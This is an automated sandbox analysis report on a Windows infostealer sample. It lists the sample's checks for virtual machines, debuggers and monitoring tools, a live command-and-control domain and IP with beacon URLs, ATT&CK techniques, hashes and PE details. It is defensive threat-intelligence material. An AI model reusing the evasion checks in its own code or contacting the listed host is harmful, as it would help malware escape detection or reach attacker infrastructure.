Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00CC9980 rdtsc 0_2_00CC9980
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00AE255D
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00AE29FF
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00AE255D
Source: Hqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F6C000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526346109.0000000001FA9000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550422328.0000000001FAC000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526031038.0000000001FA6000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526592917.0000000001FAB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq Q
Source: Hqle5OSmLQ.exe, 00000000.00000003.1439355713.0000000001F45000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1438943499.0000000001F42000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: Hqle5OSmLQ.exeBinary or memory string: Hyper-V RAW
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Hqle5OSmLQ.exe, 00000000.00000003.1441328246.0000000007121000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlQ=L
Source: Hqle5OSmLQ.exe, 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeThread information set: HideFromDebuggerJump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: regmonclass
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: gbdyllo
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: ollydbg
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: filemonclass
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile opened: NTICE
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile opened: SICE
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeFile opened: SIWVID
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeProcess queried: DebugPortJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00CC9980 rdtsc 0_2_00CC9980
Source: Hqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: w&Program Manager
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: procmon.exe
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: wireshark.exe

Stealing of Sensitive Information

barindex
Infostealer behavior detected
Source: Signature ResultsSignatures: Mutex created, HTTP post and idle behavior
Leaks process information
Source: global trafficTCP traffic: 192.168.2.10:49706 -> 91.149.241.220:80

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Command and Scripting Interpreter		1
DLL Side-Loading		1
Process Injection		23
Virtualization/Sandbox Evasion		OS Credential Dumping751
Security Software Discovery		1
Exploitation of Remote Services		11
Archive Collected Data		11
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Process Injection		LSASS Memory23
Virtualization/Sandbox Evasion		Remote Desktop Protocol1
Data from Local System		4
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Deobfuscate/Decode Files or Information		Security Account Manager13
Process Discovery		SMB/Windows Admin SharesData from Network Shared Drive4
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook3
Obfuscated Files or Information		NTDS1
Remote System Discovery		Distributed Component Object ModelInput Capture5
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script12
Software Packing		LSA Secrets1
File and Directory Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials216
System Information Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Hqle5OSmLQ.exe49%VirustotalBrowse
Hqle5OSmLQ.exe100%AviraTR/Crypt.TPM.Gen
Hqle5OSmLQ.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.fortth14vs.top/gduZE_0%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb180%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738ff::30%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb17355377380%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738?argument=00%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738http://home.fortth14vs.top/gduZhxVRrNSTmMah0%Avira URL Cloudsafe
http://home.fortth14vs.top/gduZ0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.fortth14vs.top
91.149.241.220
truefalse
    		high
    httpbin.org
    		34.197.122.172
    		truefalse
      		high
      18.31.95.13.in-addr.arpa
      		unknown
      		unknownfalse
        		high

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738?argument=0true
        • Avira URL Cloud: safe
        		unknown
        http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738true
        • Avira URL Cloud: safe
        		unknown
        https://httpbin.org/ipfalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          https://curl.se/docs/hsts.htmlHqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
            		high
            http://html4/loose.dtdHqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
              		high
              https://httpbin.org/ipbeforeHqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                		high
                http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738http://home.fortth14vs.top/gduZhxVRrNSTmMahHqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://curl.se/docs/http-cookies.htmlHqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                  		high
                  http://home.fortth14vs.top/gduZE_Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F6C000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526346109.0000000001FA9000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550422328.0000000001FAC000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526031038.0000000001FA6000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526592917.0000000001FAB000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb18Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://curl.se/docs/hsts.html#Hqle5OSmLQ.exefalse
                    		high
                    http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738ff::3Hqle5OSmLQ.exe, 00000000.00000003.1526574789.0000000001F38000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550090351.0000000001F3A000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://home.fortth14vs.top/gduZHqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F6C000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526346109.0000000001FA9000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550422328.0000000001FAC000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526031038.0000000001FA6000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526592917.0000000001FAB000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://curl.se/docs/alt-svc.htmlHqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                      		high
                      http://.cssHqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                        		high
                        http://.jpgHqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpfalse
                          		high

                          World Map of Contacted IPs

                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs

                          Public IPs

                          IPDomainCountryFlagASNASN NameMalicious
                          91.149.241.220
                          		home.fortth14vs.topPoland
                          		41952MARTON-ASPLfalse
                          34.197.122.172
                          		httpbin.orgUnited States
                          		14618AMAZON-AESUSfalse

                          General Information

                          Joe Sandbox version:41.0.0 Charoite
                          Analysis ID:1582698
                          Start date and time:2024-12-31 09:44:13 +01:00
                          Joe Sandbox product:CloudBasic
                          Overall analysis duration:0h 5m 5s
                          Hypervisor based Inspection enabled:false
                          Report type:full
                          Cookbook file name:default.jbs
                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                          Number of analysed new started processes analysed:3
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • HCA enabled
                          • EGA enabled
                          • AMSI enabled
                          Analysis Mode:default
                          Analysis stop reason:Timeout
                          Sample name:Hqle5OSmLQ.exe
                          renamed because original name is a hash value
                          Original Sample Name:4f6dab981f84c2ddb35307b748427e30.exe
                          Detection:MAL
                          Classification:mal100.troj.spyw.evad.winEXE@1/0@10/2
                          EGA Information:
                          • Successful, ratio: 100%
                          HCA Information:Failed
                          Cookbook Comments:
                          • Found application associated with file extension: .exe
                          • Stop behavior analysis, all processes terminated

                          Warnings

                          • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
                          • Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.95.31.18, 20.109.210.53
                          • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                          • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                          Simulations

                          Behavior and APIs

                          ⊘No simulations

                          Joe Sandbox View / Context

                          IPs

                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          34.197.122.172Set-up.exeGet hashmaliciousUnknownBrowse

                            Domains

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            httpbin.orgSet-up.exeGet hashmaliciousUnknownBrowse
                            • 52.202.253.164
                            Set-up.exeGet hashmaliciousUnknownBrowse
                            • 34.197.122.172
                            Set-up.exeGet hashmaliciousUnknownBrowse
                            • 52.73.63.247
                            a2mNMrPxow.exeGet hashmaliciousUnknownBrowse
                            • 3.218.7.103
                            SgMuuLxOCJ.exeGet hashmaliciousLummaCBrowse
                            • 34.226.108.155
                            TNyOrM6mIM.exeGet hashmaliciousLummaCBrowse
                            • 3.218.7.103
                            FIyDwZM4OR.exeGet hashmaliciousUnknownBrowse
                            • 3.218.7.103
                            ZFttiy4Tt8.exeGet hashmaliciousUnknownBrowse
                            • 3.218.7.103
                            e62iSl0abZ.exeGet hashmaliciousUnknownBrowse
                            • 3.218.7.103
                            HGFSqmKwd5.exeGet hashmaliciousUnknownBrowse
                            • 34.226.108.155

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            MARTON-ASPLmips.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            ppc.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            mpsl.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            arm5.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            arm7.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            harm4.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            harm5.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            harm4.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            nshsh4.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            nsharm5.elfGet hashmaliciousUnknownBrowse
                            • 91.149.238.18
                            AMAZON-AESUSPO_2024_056209_MQ04865_ENQ_1045.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                            • 44.221.84.105
                            http://ghostbin.cafe24.com/Get hashmaliciousUnknownBrowse
                            • 44.199.56.69
                            Set-up.exeGet hashmaliciousUnknownBrowse
                            • 52.202.253.164
                            kwari.mips.elfGet hashmaliciousUnknownBrowse
                            • 54.226.65.111
                            Set-up.exeGet hashmaliciousUnknownBrowse
                            • 34.197.122.172
                            https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188Get hashmaliciousKnowBe4Browse
                            • 3.88.121.169
                            https://chase.com-onlinebanking.com/XWmJkMGsxak5lZzdVZUczR3RxTGFWN1g0Q2NKLy96RURPVEpZbEdkOC9nQzY1TStZSjU0T0x4Q05qOXZBRHZnZTZpMmh2eGFmSm9rcVRmV2xBeENiMEF1V3VTOVAvL2dKemVQZkZGNHAxQ1hqTU9WY0R5SGpYeDQ3UVNtNGZpWDJYdWxBUFY5OUFVc3VFU041aHl6aUxrMlBZaGs1Y25BV0xHL1Vhc1BYNVQ5d3laZ2piV3gvTjlUMmc3QWV4QUs2Q0h6Yi0tZ1lEV1pac1JHRzl5ZFpFaC0tcVVpc09xQzZsUzY0bzY0YWpuS1N2Zz09?cid=2342337857Get hashmaliciousKnowBe4Browse
                            • 3.88.121.169
                            securedoc_20241220T111852.htmlGet hashmaliciousUnknownBrowse
                            • 44.219.110.92
                            https://visa-pwr.com/Get hashmaliciousUnknownBrowse
                            • 3.208.228.173
                            botx.mips.elfGet hashmaliciousMiraiBrowse
                            • 52.0.196.218

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            ⊘No created / dropped files found

                            Static File Info

                            General

                            File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                            Entropy (8bit):7.983150481861064
                            TrID:
                            • Win32 Executable (generic) a (10002005/4) 99.96%
                            • Generic Win/DOS Executable (2004/3) 0.02%
                            • DOS Executable Generic (2002/1) 0.02%
                            • VXD Driver (31/22) 0.00%
                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                            File name:Hqle5OSmLQ.exe
                            File size:4'512'256 bytes
                            MD5:4f6dab981f84c2ddb35307b748427e30
                            SHA1:1dfe133b03505c6969babf5b533620e3b240ffda
                            SHA256:564084e14d92f08cd1e05273a44bfaf11dd7e539e64943ff59cc651622c18268
                            SHA512:929236923c2d2e9adf27050a9e0b497f3681f25ad82902f02b89213d6ff8412da1464ae825a7d9e5d393e9535eda28d85d8709ab150aa6af348c8b37da836882
                            SSDEEP:98304:pxum0DsExjEQkw3NeGqcmw19vCIroMGj0K9Gl3Z/k9gfE:psm0sw3QGqcdsmjFy9gs
                            TLSH:0D263338C5374A7FCBA3453570A4D29C3AC5A7D30DED03EE2A8ADB5546B720492C369E
                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5rg...............(..M...w..2... ........M...@..........................P........E...@... ............................

                            File Icon

                            Icon Hash:90cececece8e8eb0

                            Static PE Info

                            General

                            Entrypoint:0x10b2000
                            Entrypoint Section:.taggant
                            Digitally signed:true
                            Imagebase:0x400000
                            Subsystem:windows gui
                            Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                            DLL Characteristics:DYNAMIC_BASE
                            Time Stamp:0x677235C4 [Mon Dec 30 05:55:16 2024 UTC]
                            TLS Callbacks:
                            CLR (.Net) Version:
                            OS Version Major:4
                            OS Version Minor:0
                            File Version Major:4
                            File Version Minor:0
                            Subsystem Version Major:4
                            Subsystem Version Minor:0
                            Import Hash:2eabe9054cad5152567f0699947a2c5b

                            Authenticode Signature

                            Signature Valid:
                            Signature Issuer:
                            Signature Validation Error:
                            Error Number:
                            Not Before, Not After
                              Subject Chain
                                Version:
                                Thumbprint MD5:
                                Thumbprint SHA-1:
                                Thumbprint SHA-256:
                                Serial:

                                Entrypoint Preview

                                Instruction
                                jmp 00007FA94CF7791Ah
                                popcnt eax, dword ptr [eax+eax+00h]
                                add byte ptr [eax], al
                                add cl, ch
                                add byte ptr [eax], ah
                                add byte ptr [eax], al
                                add byte ptr [edx], al
                                or al, byte ptr [eax]
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], dh
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [ecx], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [edx], al
                                or al, byte ptr [eax]
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [edi], al
                                add byte ptr [eax], 00000000h
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                adc byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add eax, 0000000Ah
                                add byte ptr [eax], al

                                Data Directories

                                NameVirtual AddressVirtual Size Is in Section
                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IMPORT0x74c05f0x73.idata
                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x74b0000x2b0.rsrc
                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                IMAGE_DIRECTORY_ENTRY_SECURITY0x7782000x688
                                IMAGE_DIRECTORY_ENTRY_BASERELOC0xcb0b5c0x10kowmzman
                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                IMAGE_DIRECTORY_ENTRY_TLS0xcb0b0c0x18kowmzman
                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                Sections

                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                0x10000x74a0000x289000b85ba3d3f935fe3dee9e553da8e6b873unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .rsrc0x74b0000x2b00x2004e8a1a23931437534811944bdcab4ecdFalse0.798828125data6.111837256576579IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .idata 0x74c0000x10000x20052564c2cea63394dbc4e71775ebabcc0False0.166015625data1.1589685166080708IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                0x74d0000x3a30000x200b6cb45534fd8795973aaaf8c360d7cf9unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                kowmzman0xaf00000x1c10000x1c0e002a53cfd18f749a8e6112983a25f99a8fFalse0.9945295095377332data7.9564462863177505IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
